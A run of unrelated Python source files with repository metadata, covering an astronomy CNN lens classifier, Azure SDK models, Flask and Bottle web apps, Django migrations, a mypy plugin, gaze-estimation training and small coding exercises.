excel_headers.append("Train_Negative_Shape") excel_dictionary.append(train_neg.shape) all_training_data, all_training_labels, _ = makeImageSet(train_pos, train_neg, shuffle_needed=use_shuffle) if use_augmented_data: all_training_data, all_training_labels = createAugmentedData(all_training_data, all_training_labels) training_data, val_data, training_labels, val_labels = train_test_split(all_training_data, all_training_labels, test_size=validation_split, shuffle=True) excel_headers.append("All_Training_Data_Shape") excel_dictionary.append(all_training_labels.shape) excel_headers.append("All_Training_Labels_Shape") excel_dictionary.append(all_training_labels.shape) excel_headers.append("Training_Data_Shape") excel_dictionary.append(training_data.shape) excel_headers.append("Validation_Data_Shape") excel_dictionary.append(val_data.shape) excel_headers.append("Training_Labels_Shape") excel_dictionary.append(training_labels.shape) excel_headers.append("Validation_Labels_Shape") excel_dictionary.append(val_labels.shape) excel_headers.append("Validation_Split") excel_dictionary.append(validation_split) history, classifier = usingCnnModel(training_data, training_labels, val_data, val_labels) #classifier.load_weights('best_weights.hdf5') #classifier.save_weights('galaxies_cnn.h5') excel_headers.append("Epochs") excel_dictionary.append(epochs) excel_headers.append("Batch_size") excel_dictionary.append(batch_size) # Plot run metrics acc = history.history['accuracy'] val_acc = history.history['val_accuracy'] loss = history.history['loss'] val_loss = history.history['val_loss'] number_of_completed_epochs = range(1, len(acc) + 1) # Accuracies train_val_accuracy_figure = plt.figure() plt.plot(number_of_completed_epochs, acc, label='Training acc') plt.plot(number_of_completed_epochs, val_acc, label='Validation acc') plt.title('Training and validation accuracy') plt.legend() plt.xlabel("Epochs") plt.ylabel("Accuracy") plt.show() train_val_accuracy_figure.savefig('../Results/%s/TrainingValidationAccuracy.png' % dt_string) plt.close() # Losses train_val_loss_figure = plt.figure() plt.plot(number_of_completed_epochs, loss, label='Training loss') plt.plot(number_of_completed_epochs, val_loss, label='Validation loss') plt.title('Training and validation loss') plt.legend() plt.xlabel("Epochs") plt.ylabel("Loss") plt.show() train_val_loss_figure.savefig('../Results/%s/TrainingValidationLoss.png' % dt_string) plt.close() # make positive and negative results and plotting the activations of positive and negative images viewActivationLayers() # Classifier evaluation test_pos = getPositiveImages(images_dir=testing_positive_path, max_num=max_num_testing, input_shape=input_shape) test_neg = getNegativeImages(images_dir=testing_negative_path, max_num=max_num_testing, input_shape=input_shape) testing_data, testing_labels, _ = makeImageSet(test_pos, test_neg, shuffle_needed=True) print("Testing Data Shape: " + str(testing_data.shape)) print("Testing Labels Shape: " + str(testing_labels.shape)) print("Got Unseen Testing data") scores = classifier.evaluate(testing_data, testing_labels, batch_size=batch_size) loss = scores[0] accuracy = scores[1] print("Test loss: %s" % loss) print("Test accuracy: %s" % accuracy) excel_headers.append("Test_Loss") excel_dictionary.append(loss) excel_headers.append("Test_Accuracy") excel_dictionary.append(accuracy) gettingTrueFalsePositiveNegatives(testing_data, testing_labels, text_file_path='../Results/%s/TrainingTestingResults/PredictedMatrixBeforeKFOLD.txt' % dt_string, predicted_lenses_filepath='../Results/%s/TrainingTestingResults' % dt_string) unseen_known_images = getUnseenData(images_dir=unseen_known_file_path_all, max_num=max_num_prediction, input_shape=input_shape) known_images, known_labels, known_des_names = makeImageSet(positive_images=list(unseen_known_images.values()), tile_names=list(unseen_known_images.keys()), shuffle_needed=True) print("Unseen Known Images Shape: " + str(known_images.shape)) print("Unseen Known Labels Shape: " + str(known_labels.shape)) print("Got Unseen Known Lenses Data") unseen_scores = classifier.evaluate(known_images, known_labels, batch_size=batch_size) unseen_loss_score = unseen_scores[0] unseen_accuracy_score = unseen_scores[1] print("Unseen loss: %s" % unseen_loss_score) print("Unseen accuracy: %s" % unseen_accuracy_score) excel_headers.append("Unseen_Loss") excel_dictionary.append(unseen_loss_score) excel_headers.append("Unseen_Accuracy") excel_dictionary.append(unseen_accuracy_score) predicted_class_probabilities_known_lenses = classifier.predict_classes(known_images, batch_size=batch_size) lens_predicted = np.count_nonzero(predicted_class_probabilities_known_lenses == 1) non_lens_predicted = np.count_nonzero(predicted_class_probabilities_known_lenses == 0) print("%s/%s known lenses predicted" % (lens_predicted, len(known_images))) print("%s/%s non known lenses predicted" % (non_lens_predicted, len(known_images))) gettingTrueFalsePositiveNegatives(known_images, known_labels, text_file_path='../Results/%s/UnseenKnownLenses/PredictedMatrixBeforeKFOLD.txt' % dt_string, predicted_lenses_filepath='../Results/%s/UnseenKnownLenses' % dt_string) predicted_lenses, predicted_no_lenses = savePredictedLenses(known_des_names, predicted_class_probabilities_known_lenses, text_file_path='../Results/%s/UnseenKnownLenses/' 'PredictedMatrixBeforeKFOLD.txt' % dt_string, predicted_lenses_filepath='../Results/%s/UnseenKnownLenses' % dt_string) ###################################################################################### unseen_known_images_select = getUnseenData(images_dir=unseen_known_file_path_select, max_num=max_num_prediction, input_shape=input_shape) select_known_images, select_known_labels, select_known_des_names = makeImageSet( positive_images=list(unseen_known_images_select.values()), tile_names=list(unseen_known_images_select.keys()), shuffle_needed=True) print("Unseen Selected Known Images Shape: " + str(select_known_images.shape)) print("Unseen Selected Known Labels Shape: " + str(select_known_labels.shape)) print("Got Unseen Selected Known Lenses Data") select_unseen_scores = classifier.evaluate(select_known_images, select_known_labels, batch_size=batch_size) select_unseen_loss_score = select_unseen_scores[0] select_unseen_accuracy_score = select_unseen_scores[1] print("Unseen Selected loss: %s" % select_unseen_loss_score) print("Unseen Selected accuracy: %s" % select_unseen_accuracy_score) excel_headers.append("Selected Unseen_Loss") excel_dictionary.append(select_unseen_loss_score) excel_headers.append("Select Unseen_Accuracy") excel_dictionary.append(select_unseen_accuracy_score) select_predicted_class_probabilities_known_lenses = classifier.predict_classes(select_known_images, batch_size=batch_size) select_lens_predicted = np.count_nonzero(select_predicted_class_probabilities_known_lenses == 1) select_non_lens_predicted = np.count_nonzero(select_predicted_class_probabilities_known_lenses == 0) print("%s/%s known lenses predicted" % (select_lens_predicted, len(select_known_images))) print("%s/%s non known lenses predicted" % (select_non_lens_predicted, len(select_known_images))) gettingTrueFalsePositiveNegatives(select_known_images, select_known_labels, text_file_path='../Results/%s/UnseenKnownLensesSelect/PredictedMatrixBeforeKFOLD.txt' % dt_string, predicted_lenses_filepath='../Results/%s/UnseenKnownLensesSelect' % dt_string) select_predicted_lenses, select_predicted_no_lenses = savePredictedLenses(select_known_des_names, select_predicted_class_probabilities_known_lenses, text_file_path='../Results/%s' '/UnseenKnownLensesSelect/ ' 'PredictedMatrixBeforeKFOLD' '.txt' % dt_string, predicted_lenses_filepath='../Results/%s' '/UnseenKnownLensesSelect' % dt_string) excel_headers.append("Selected Unseen_Known_Lenses_Predicted") excel_dictionary.append(select_lens_predicted) excel_headers.append("Selected Unseen_Known_Lenses_No_Lens_Predicted") excel_dictionary.append(select_non_lens_predicted) # K fold for training data executeKFoldValidation(training_data, training_labels, val_data, val_labels, testing_data, testing_labels, known_images, known_labels, known_des_names, select_known_images, select_known_labels) if makeNewCSVFile: createExcelSheet('../Results/Architecture_kerasCNN_Results.csv', excel_headers) writeToFile('../Results/Architecture_kerasCNN_Results.csv', excel_dictionary) else: writeToFile('../Results/Architecture_kerasCNN_Results.csv', excel_dictionary)

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xiafu-msft/azure-sdk-for-python

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2023-08-12T20:36:24.284497

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2020-10-02T01:17:02

2019-05-22T07:33:46

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# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from .run_request import RunRequest class TaskRunRequest(RunRequest): """The parameters for a task run request. All required parameters must be populated in order to send to Azure. :param is_archive_enabled: The value that indicates whether archiving is enabled for the run or not. Default value: False . :type is_archive_enabled: bool :param type: Required. Constant filled by server. :type type: str :param task_name: Required. The name of task against which run has to be queued. :type task_name: str :param values: The collection of overridable values that can be passed when running a task. :type values: list[~azure.mgmt.containerregistry.v2018_09_01.models.SetValue] """ _validation = { 'type': {'required': True}, 'task_name': {'required': True}, } _attribute_map = { 'is_archive_enabled': {'key': 'isArchiveEnabled', 'type': 'bool'}, 'type': {'key': 'type', 'type': 'str'}, 'task_name': {'key': 'taskName', 'type': 'str'}, 'values': {'key': 'values', 'type': '[SetValue]'}, } def __init__(self, **kwargs): super(TaskRunRequest, self).__init__(**kwargs) self.task_name = kwargs.get('task_name', None) self.values = kwargs.get('values', None) self.type = 'TaskRunRequest'

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lmazuel@microsoft.com

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refs/heads/master

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print("How many zones must I cross?") zone=int(input()) for zone in range(zone, 0, -1): print("…crossed zone "+ str(zone)) print("Crossed all zones. Jumanji!")

[ "4ratkm88@solent.ac.uk" ]

4ratkm88@solent.ac.uk

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/issm/giaivins.py

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pf4d/issm_python

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from issm.fielddisplay import fielddisplay from issm.project3d import project3d from issm.checkfield import checkfield from issm.WriteData import WriteData class giaivins(object): """ GIA class definition Usage: giaivins=giaivins(); """ def __init__(self): # {{{ self.mantle_viscosity = float('NaN'); self.lithosphere_thickness = float('NaN'); self.cross_section_shape = 0; #set defaults self.setdefaultparameters() #}}} def __repr__(self): # {{{ string=' giaivins solution parameters:' string="%s\n%s"%(string,fielddisplay(self,'mantle_viscosity','mantle viscosity constraints (NaN means no constraint) (Pa s)')) string="%s\n%s"%(string,fielddisplay(self,'lithosphere_thickness','lithosphere thickness constraints (NaN means no constraint) (m)')) string="%s\n%s"%(string,fielddisplay(self,'cross_section_shape',"1: square-edged, 2: elliptical-edged surface")) return string #}}} def extrude(self,md): # {{{ self.mantle_viscosity=project3d(md,'vector',self.mantle_viscosity,'type','node') self.lithosphere_thickness=project3d(md,'vector',self.lithosphere_thickness,'type','node') return self #}}} def setdefaultparameters(self): # {{{ self.cross_section_shape=1; return self #}}} def checkconsistency(self,md,solution,analyses): # {{{ # Early return if ('GiaAnalysis' not in analyses): return md md = checkfield(md,'fieldname','gia.mantle_viscosity','NaN',1,'Inf',1,'size',[md.mesh.numberofvertices],'>',0) md = checkfield(md,'fieldname','gia.lithosphere_thickness','NaN',1,'Inf',1,'size',[md.mesh.numberofvertices],'>',0) md = checkfield(md,'fieldname','gia.cross_section_shape','numel',[1],'values',[1,2]) #be sure that if we are running a masstransport ice flow model coupled with giaivins, that thickness forcings #are not provided into the future. return md # }}} def marshall(self,prefix,md,fid): # {{{ WriteData(fid,prefix,'object',self,'fieldname','mantle_viscosity','format','DoubleMat','mattype',1); WriteData(fid,prefix,'object',self,'fieldname','lithosphere_thickness','format','DoubleMat','mattype',1,'scale',10.**3.); WriteData(fid,prefix,'object',self,'fieldname','cross_section_shape','format','Integer'); # }}}

[ "cummings.evan@gmail.com" ]

cummings.evan@gmail.com

fa4c4bebb84eeea7871eaf044e4ec0be599f769c

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/GoogleCodeJam/2020KickstartRoundB/BusRoute.py

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bradykim7/Algorithm

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refs/heads/master

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import sys; if __name__=='__main__': t = int(input()); for i in range(t): nd = input().split(); n=int(nd[0]); d=int(nd[1]); ans =d; x= list(map(int,input().rstrip().split())); for j in x: ans -= d % j print('Case #%d: %d'%(i+1,ans))

[ "bradykim777@gmail.com" ]

bradykim777@gmail.com

c403719d00c3664c1b2cb6adf47318a985282c01

f54a87aa1196cbe9ac56dfab44295201444edeaf

/130818_FlaskTweets/ex.py

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[]

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pythonflaskstudy2013/Weekly--Python-

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5bf1416f10df3daa119d15f87c5cbb346ab6e81c

refs/heads/master

2020-03-27T01:11:07.148567

2013-09-01T04:13:46

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#!/usr/bin/env python from flask import Flask from flask import render_template, render_template_string, request import math app = Flask(__name__) books = ['Programming in Scala', 'Mining the Social Web', 'Pattern-Oriented Software Architecture'] @app.route('/inherit') def inherit(): return render_template('child.html') @app.route('/books') def list(): return render_template('books.html', books=books) @app.route('/animals') def animals(): return render_template('animals.html', animals=[ 'cat', 'dog', 'pig', 'cow', 'sheep', 'panda', 'bear' ]) @app.route('/macro') def forms(): return render_template('macro.html') @app.route('/filter') def filter(): return render_template('filter.html') @app.route('/custom') def custom(): return render_template('custom.html') @app.template_filter() def reverse(text): return text[::-1] @app.template_test() def is_prime(n): if n == 2: return True for i in range(2, int(math.ceil(math.sqrt(n))) + 1): if n % i == 0: return False return True @app.template_global() def whoami(): return 'My Name is Daegeun' app.run(debug=True)

[ "dgkim84@gmail.com" ]

dgkim84@gmail.com

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9e241ae22cafe7ed4aaba2f06632420a63ec44fd

/Project 142/main.py

c30ed130f6ed02a9f977b69ffb0d69621d3dc3a8

[]

no_license

Whitehat-Lataksh/Article-Recommending

b970f4d916733667aca20f85321710c1b40def62

ece145cc7b86288750339b38c319fd15e5490450

refs/heads/main

2023-08-11T20:23:14.510692

2021-09-17T04:55:17

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from flask import Flask, jsonify, request from storage import all_articles, liked_articles, not_liked_articles from demographic_filtering import output from content_filtering import get_recommendations app = Flask(__name__) @app.route("/get-article") def get_article(): movie_data = { "url": all_articles[0][11], "title": all_articles[0][12], "text": all_articles[0][13], "lang": all_articles[0][14], "total_events": all_articles[0][15] } return jsonify({ "data": movie_data, "status": "success" }) @app.route("/liked-article", methods=["POST"]) def liked_article(): article = all_articles[0] liked_articles.append(article) all_articles.pop(0) return jsonify({ "status": "success" }), 201 @app.route("/unliked-article", methods=["POST"]) def unliked_article(): article = all_articles[0] not_liked_articles.append(article) all_articles.pop(0) return jsonify({ "status": "success" }), 201 @app.route("/popular-articles") def popular_articles(): article_data = [] for article in output: _d = { "url": article[0], "title": article[1], "text": article[2], "lang": article[3], "total_events": article[4] } article_data.append(_d) return jsonify({ "data": article_data, "status": "success" }), 200 @app.route("/recommended-articles") def recommended_articles(): all_recommended = [] for liked_article in liked_articles: output = get_recommendations(liked_article[4]) for data in output: all_recommended.append(data) import itertools all_recommended.sort() all_recommended = list(all_recommended for all_recommended,_ in itertools.groupby(all_recommended)) article_data = [] for recommended in all_recommended: _d = { "url": recommended[0], "title": recommended[1], "text": recommended[2], "lang": recommended[3], "total_events": recommended[4] } article_data.append(_d) return jsonify({ "data": article_data, "status": "success" }), 200 if __name__ == "__main__": app.run()

[ "noreply@github.com" ]

Whitehat-Lataksh.noreply@github.com

5d842f89dca376141a6a97ff7ced4635dd7d4015

82aa64e423bcd2d2ae77a58552417bee0e2e3c9a

/Python/Basic Data Types/Lists.py

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[]

no_license

abhi1362/HackerRank

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95dcd35ba554023c3d74c6e6574a1fbedc5e7845

refs/heads/master

2021-12-29T19:54:52.750399

2018-01-28T07:06:00

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null

UTF-8

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if __name__ == '__main__': N = int(input()) array_list = [] def print_(): print(array_list) def sort(): array_list.sort() def pop(): array_list.pop() def insert(): array_list.insert(index,value) def append(): array_list.append(value) def reverse(): array_list.reverse() def remove(): array_list.remove(value) for i in range(0,N): user_command = input() command = user_command.split() com = command[0] if len(command) >= 2: value = int(command[1]) index = value if len(command)>=3: value = int(command[2]) index = int(command[1]) commands ={ "insert":insert, "remove":remove, "pop":pop, "reverse":reverse, "append":append, "insert":insert, "sort":sort, "print":print_, } commands[com]()

[ "prvnbeloved@gmail.com" ]

prvnbeloved@gmail.com

3db3cc00113a6fb614fa79bc5f0a9a2b4972075f

de17da755ea35e928afbaf48d41c23053e43af8a

/CourseSite/courses/migrations/0023_auto_20180426_1616.py

fa77713cabba30af89bec7958051af1a7c5157c2

[]

no_license

m-gautam/Course_SIte-Project-

353aaec6695ca769cd16f38a0118ae4abc52bf9e

2b2cd1f3f4f85fec5c4b18355c111c67ce6dfcd0

refs/heads/master

2021-04-26T22:47:21.042398

2020-05-17T21:15:47

124,147,812

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# -*- coding: utf-8 -*- # Generated by Django 1.11.10 on 2018-04-26 16:16 from __future__ import unicode_literals import django.contrib.postgres.fields from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('courses', '0022_auto_20180426_1615'), ] operations = [ migrations.AlterField( model_name='course', name='prereq_courses', field=django.contrib.postgres.fields.ArrayField(base_field=models.CharField(max_length=200), default='NULL', size=None), ), ]

[ "gautimeena456@gmail.com" ]

gautimeena456@gmail.com

ba82f9b61b3eb06587fc5c2185adf9b9c041c8cf

bf33b8048d99eec4f693945d84f401ebe6083db2

/mybottle/sign/signup.py

d3f9f6c81e196105173160280a3cdb324ed8d510

[]

no_license

yzhang3beatit/filesForServer

89f507937447511c12c6f9f35aa146b7619cbf42

eb7a551bc815c9f981ede01d058d9e0b6136971f

refs/heads/master

2021-01-19T05:10:50.982745

2016-07-21T06:28:50

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from bottle import route, run, request import xml.etree.ElementTree as ET from time import strftime, localtime, time, clock from bisect import bisect_left from xls.xls_record import get_records_from_xls, write_to_excel mem_dir = '/home/y184zhan/tmp/' readable = mem_dir+'xml_file.txt' origin = mem_dir+'msg_file.txt' KEYWORD = '1python' def sec2str(secs): return strftime("%Y-%m-%d %H:%M:%S", localtime(secs)) def parseXML(recvmsg): # printToFile(recvmsg, origin, 'ba') _str = byte2str(recvmsg) # printToFile(_str, readable, 'a+') root = ET.fromstring(_str) msg = {} for child in root: if child.tag == 'CreateTime': msg[child.tag] = sec2str(int(child.text)) else: msg[child.tag] = child.text return msg textTpl = '''<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[%s]]></Content> </xml>''' def printToFile(msg, filepath, flag): f = open(filepath, flag) f.write(msg) f.close() def byte2str(utfByte): _str = utfByte.decode() # print(_str) return _str @route('/', method='POST') def index(): start = clock() openid = request.query.openid # print("OPENID in FORMS:", openid) # for l in request.body: # print(l) msg = parseXML(request.body.read()) echostr = build_echostr(msg) end = clock() print('Running time: %fs' %(end - start)) return echostr DATA = [] DATA_INDEX = [] def main(): global DATA global DATA_INDEX DATA = read_data_file() DATA_INDEX = [x[0] for x in DATA] def read_data_file(): filename = './sign_record.xls' datalist = get_records_from_xls(filename, 'Clear') return datalist def build_echostr(msg): content = msg['Content'].strip() welcome = u"Welcome to Coach Workroom" if content == "print" and msg['FromUserName'] == "oPZW5t7_QdCpwjFK092Bn-iywx6s": welcome = u"Yes, Sir !\n" data_list = [x[4] for x in DATA] len_ = len(data_list) - 2 names = ',\n'.join(data_list) welcome += str(len_) + '\n' welcome += names elif content == "save" and msg['FromUserName'] == "oPZW5t7_QdCpwjFK092Bn-iywx6s": welcome = u"Yes, Sir !" write_to_excel('result.xls', 'SIGN', len(DATA), 7, None, DATA) elif content.lower() == 'update': welcome = u"Please type in your ID\n(e.g. 10240148)" update_data_clear(msg['FromUserName']) elif KEYWORD in content: user = update_data_sign(msg['FromUserName'], content, msg['CreateTime']) if user: # user[4] == name: if user[1]: # meno welcome = u"%s, you have signed!" %user[4] else: welcome = u"Welcome to sign-in: %s" %user[4] else: welcome = u"Please type in Nokia ID:\n(e.g. 10240148)" elif content.isdigit() and len(content) == 8: welcome = u"Please type in your name\n(e.g. ZhangYang):" update_data_nokiaid(msg['FromUserName'], content) elif is_name(content): welcome = u"Please type in keyword to sign-in" update_data_name(msg['FromUserName'], content) else: user = update_data_find(msg['FromUserName']) if user: # user[4] == name if not user[4]: welcome = u"Please type in your name\n(e.g. ZhangYang):" elif user[1]: # user[1] == memo welcome = u"%s, you have signed!" % user[4] else: welcome = u"%s, please type in keyword to sign" % user[4] else: welcome = u"Please sign up with your:\nNokiaID (e.g. 12345678)" echostr = textTpl % (msg['FromUserName'], msg['ToUserName'], str(int(time())), welcome) # #print(DATA) return echostr def is_name(str_): return str_.isalpha() and str_[0].isupper() def update_data_clear(openid): index = bisect_left(DATA_INDEX, openid) if index < len(DATA_INDEX) and DATA_INDEX[index] == openid: DATA[index][4] = '' DATA[index][5] = '' def update_data_find(openid): index = bisect_left(DATA_INDEX, openid) if index < len(DATA_INDEX) and DATA_INDEX[index] == openid: return DATA[index] def update_data_sign(openid, meno, timestamp): global DATA global DATA_INDEX index = bisect_left(DATA_INDEX, openid) if index < len(DATA_INDEX) and DATA_INDEX[index] == openid: # print('found openid for ', meno) DATA[index][1] = meno DATA[index][2] = timestamp return DATA[index] else: new = [openid, meno, '', '', '', '', ''] DATA.insert(index, new) DATA_INDEX.insert(index, openid) return def update_data_name(openid, name): global DATA global DATA_INDEX index = bisect_left(DATA_INDEX, openid) if index < len(DATA_INDEX) and DATA_INDEX[index] == openid: # print('found openid for ', name) if not DATA[index][4].strip(): DATA[index][4] = name else: new = [openid, '', '', '', name, '', ' '] DATA.insert(index, new) DATA_INDEX.insert(index, openid) def update_data_nokiaid(openid, nokiaid): global DATA global DATA_INDEX index = bisect_left(DATA_INDEX, openid) if index < len(DATA_INDEX) and DATA_INDEX[index] == openid: # print('found openid for ', nokiaid) if not DATA[index][5].strip(): DATA[index][5] = nokiaid else: new = [openid, '', '', '', '', nokiaid,' '] DATA.insert(index, new) DATA_INDEX.insert(index, openid) ''' user = {'ID':msg['FromUserName'], 'Memo': msg['Content'], 'Name':msg['name'], 'Nokia ID':msg['nokiaid'], 'Department':msg['mdep'], 'TimeStamp':msg['CreateTime'], 'Sign':msg['Content']} ''' if __name__ == "__main__": main() run(host='0.0.0.0', port=80)

[ "yang.2.zhang@nokia.com" ]

yang.2.zhang@nokia.com

7baa26a26fc7ed616e1f4cfa37d283d39e72ebf3

bbdd7f44884844cd0f7332d63945852dc2b53083

/mypy_drf_plugin/transformers/fields.py

f4f8a10b2f9cc833f0b0e6cedc3fe13340f2fdf9

[ "MIT" ]

permissive

private-forks/djangorestframework-stubs

e258e1dfc2af80fdf93322338ea3ce5452087e2d

18427718c913f3d23ef7a4636c8205df42999cf2

refs/heads/master

2020-04-25T09:11:04.067894

2019-02-24T22:25:03

null

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from mypy.nodes import TypeInfo, Var from mypy.plugin import FunctionContext from mypy.types import AnyType, Instance, Type, TypeOfAny from mypy_django_plugin import helpers def get_private_descriptor_type(type_info: TypeInfo, private_field_name: str, is_nullable: bool) -> Type: if not type_info.has_readable_member(private_field_name): return AnyType(TypeOfAny.unannotated) node = type_info.get(private_field_name).node if isinstance(node, Var): descriptor_type = node.type if is_nullable: descriptor_type = helpers.make_optional(descriptor_type) return descriptor_type return AnyType(TypeOfAny.unannotated) def fill_parameters_of_descriptor_methods_from_private_attributes(ctx: FunctionContext) -> Type: default_return_type = ctx.default_return_type if not isinstance(default_return_type, Instance): return default_return_type is_nullable = bool(helpers.parse_bool(helpers.get_argument_by_name(ctx, 'allow_null'))) get_type = get_private_descriptor_type(default_return_type.type, '_pyi_private_get_type', is_nullable=is_nullable) return helpers.reparametrize_instance(default_return_type, [get_type])

[ "maxim.kurnikov@gmail.com" ]

maxim.kurnikov@gmail.com

3e8e2a961f16337985eed5135e0657e6cf615172

ccc688aeae19f19e2167c3e730025a1b43b7f717

/gazefollowing/training/train_gazenet.py

618fed1be3889333ff7c1655a6b9968c0a97ea7b

[]

no_license

PrimeshShamilka/GOO

32cddb1c3b4ad83ec901f1e61e0defe00205991f

6a374cceed59cb6925099382f3f56aef52820d07

refs/heads/main

2023-09-01T05:47:59.185702

2021-10-13T19:07:01

null

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null

UTF-8

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import torch import torch.nn as nn import torch.optim as optim from torch.autograd import Variable import numpy as np import cv2 from sklearn.metrics import roc_auc_score from tqdm import tqdm def F_loss(direction, predict_heatmap, eye_position, gt_position, gt_heatmap): # point loss heatmap_loss = nn.BCELoss()(predict_heatmap, gt_heatmap) # angle loss gt_direction = gt_position - eye_position middle_angle_loss = torch.mean(1 - nn.CosineSimilarity()(direction, gt_direction)) return heatmap_loss, middle_angle_loss class GazeOptimizer(): def __init__(self, net, initial_lr): self.optimizer_s1 = optim.Adam([{'params': net.module.face_net.parameters(), 'initial_lr': initial_lr}, {'params': net.module.face_process.parameters(), 'initial_lr': initial_lr}, {'params': net.module.eye_position_transform.parameters(), 'initial_lr': initial_lr}, {'params': net.module.fusion.parameters(), 'initial_lr': initial_lr}], lr=initial_lr, weight_decay=0.0001) self.optimizer_s2 = optim.Adam([{'params': net.module.fpn_net.parameters(), 'initial_lr': initial_lr}], lr=initial_lr, weight_decay=0.0001) self.optimizer_s3 = optim.Adam([{'params': net.parameters(), 'initial_lr': initial_lr}], lr=initial_lr*0.1, weight_decay=0.0001) self.lr_scheduler_s1 = optim.lr_scheduler.StepLR(self.optimizer_s1, step_size=5, gamma=0.1, last_epoch=-1) self.lr_scheduler_s2 = optim.lr_scheduler.StepLR(self.optimizer_s2, step_size=5, gamma=0.1, last_epoch=-1) self.lr_scheduler_s3 = optim.lr_scheduler.StepLR(self.optimizer_s3, step_size=5, gamma=0.1, last_epoch=-1) self.optimizer = self.optimizer_s1 def getOptimizer(self, epoch): if epoch < 7: lr_scheduler = self.lr_scheduler_s1 self.optimizer = self.optimizer_s1 elif epoch < 15: lr_scheduler = self.lr_scheduler_s2 self.optimizer = self.optimizer_s2 else: lr_scheduler = self.lr_scheduler_s3 self.optimizer = self.optimizer_s3 lr_scheduler.step() return self.optimizer def train(net, train_dataloader, optimizer, epoch, logger): running_loss = [] for i, data in tqdm(enumerate(train_dataloader), total=len(train_dataloader)): image, face_image, gaze_field, eye_position, gt_position, gt_heatmap = \ data['image'], data['face_image'], data['gaze_field'], data['eye_position'], data['gt_position'], data['gt_heatmap'] image, face_image, gaze_field, eye_position, gt_position, gt_heatmap = \ map(lambda x: Variable(x.cuda()), [image, face_image, gaze_field, eye_position, gt_position, gt_heatmap]) optimizer.zero_grad() direction, predict_heatmap = net([image, face_image, gaze_field, eye_position]) heatmap_loss, m_angle_loss = \ F_loss(direction, predict_heatmap, eye_position, gt_position, gt_heatmap) if epoch == 0: loss = m_angle_loss elif epoch >= 7 and epoch <= 14: loss = heatmap_loss else: loss = m_angle_loss + heatmap_loss loss.backward() optimizer.step() running_loss.append([heatmap_loss.item(), m_angle_loss.item(), loss.item()]) if i % 100 == 99: logger.info('%s'%(str(np.mean(running_loss, axis=0)))) running_loss = [] return running_loss def test(net, test_data_loader, logger, save_output=False): net.eval() total_loss = [] total_error = [] info_list = [] heatmaps = [] all_gazepoints = [] all_predmap = [] all_gtmap = [] with torch.no_grad(): for data in tqdm(test_data_loader, total=len(test_data_loader)): image, face_image, gaze_field, eye_position, gt_position, gt_heatmap = \ data['image'], data['face_image'], data['gaze_field'], data['eye_position'], data['gt_position'], data['gt_heatmap'] image, face_image, gaze_field, eye_position, gt_position, gt_heatmap = \ map(lambda x: Variable(x.cuda()), [image, face_image, gaze_field, eye_position, gt_position, gt_heatmap]) direction, predict_heatmap = net([image, face_image, gaze_field, eye_position]) #curr_batch_size = predict_heatmap.shape[0] #predict_heatmap = torch.rand(curr_batch_size, 1, 56, 56).cuda() heatmap_loss, m_angle_loss = \ F_loss(direction, predict_heatmap, eye_position, gt_position, gt_heatmap) loss = heatmap_loss + m_angle_loss total_loss.append([heatmap_loss.item(), m_angle_loss.item(), loss.item()]) #logger.info('loss: %.5lf, %.5lf, %.5lf'%( \ # heatmap_loss.item(), m_angle_loss.item(), loss.item())) middle_output = direction.cpu().data.numpy() final_output = predict_heatmap.cpu().data.numpy() target = gt_position.cpu().data.numpy() eye_position = eye_position.cpu().data.numpy() predict_heatmap = predict_heatmap.cpu().data.numpy() for m_direction, f_point, gt_point, eye_point, heatmap in \ zip(middle_output, final_output, target, eye_position, predict_heatmap): f_point = f_point.reshape([224 // 4, 224 // 4]) heatmaps.append(f_point) h_index, w_index = np.unravel_index(f_point.argmax(), f_point.shape) f_point = np.array([w_index / 56., h_index / 56.]) f_error = f_point - gt_point f_dist = np.sqrt(f_error[0] ** 2 + f_error[1] ** 2) # angle f_direction = f_point - eye_point gt_direction = gt_point - eye_point norm_m = (m_direction[0] **2 + m_direction[1] ** 2 ) ** 0.5 norm_f = (f_direction[0] **2 + f_direction[1] ** 2 ) ** 0.5 norm_gt = (gt_direction[0] **2 + gt_direction[1] ** 2 ) ** 0.5 m_cos_sim = (m_direction[0]*gt_direction[0] + m_direction[1]*gt_direction[1]) / \ (norm_gt * norm_m + 1e-6) m_cos_sim = np.maximum(np.minimum(m_cos_sim, 1.0), -1.0) m_angle = np.arccos(m_cos_sim) * 180 / np.pi f_cos_sim = (f_direction[0]*gt_direction[0] + f_direction[1]*gt_direction[1]) / \ (norm_gt * norm_f + 1e-6) f_cos_sim = np.maximum(np.minimum(f_cos_sim, 1.0), -1.0) f_angle = np.arccos(f_cos_sim) * 180 / np.pi #AUC heatmap = np.squeeze(heatmap) heatmap = cv2.resize(heatmap, (5, 5)) gt_heatmap = np.zeros((5, 5)) x, y = list(map(int, gt_point * 5)) gt_heatmap[y, x] = 1.0 all_gazepoints.append(f_point) all_predmap.append(heatmap) all_gtmap.append(gt_heatmap) #score = roc_auc_score(gt_heatmap.reshape([-1]).astype(np.int32), heatmap.reshape([-1])) total_error.append([f_dist, f_angle]) info_list.append(list(f_point)) info_list = np.array(info_list) l2, ang = np.mean(np.array(total_error), axis=0) all_gazepoints = np.vstack(all_gazepoints) all_predmap = np.stack(all_predmap).reshape([-1]) all_gtmap = np.stack(all_gtmap).reshape([-1]) auc = roc_auc_score(all_gtmap, all_predmap) if save_output: np.savez('predictions.npz', gazepoints=all_gazepoints) #logger.info('average loss : %s'%str(np.mean(np.array(total_loss), axis=0))) logger.info('average error: %s'%str([auc, l2, ang])) net.train() return [auc, l2, ang]

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# name = "Anil" # age = 28 # phone = 984123 # address = 'Sydney' # print(name,'', age,'',phone,'',address) users = ['ram', 'sita', 'gita', 'hari'] # index start from o to infinity from left to right or first index refer as -infinity as well i.e last index will be -1 print(users) # if i want to print gita only the syntax be like print(users[2]) print(users[-2]) # output will be same in above case

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# Generated by Django 3.2.7 on 2021-09-02 17:38 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('recepis', '0001_initial'), ] operations = [ migrations.RenameModel( old_name='Receitas', new_name='Receita', ), ]

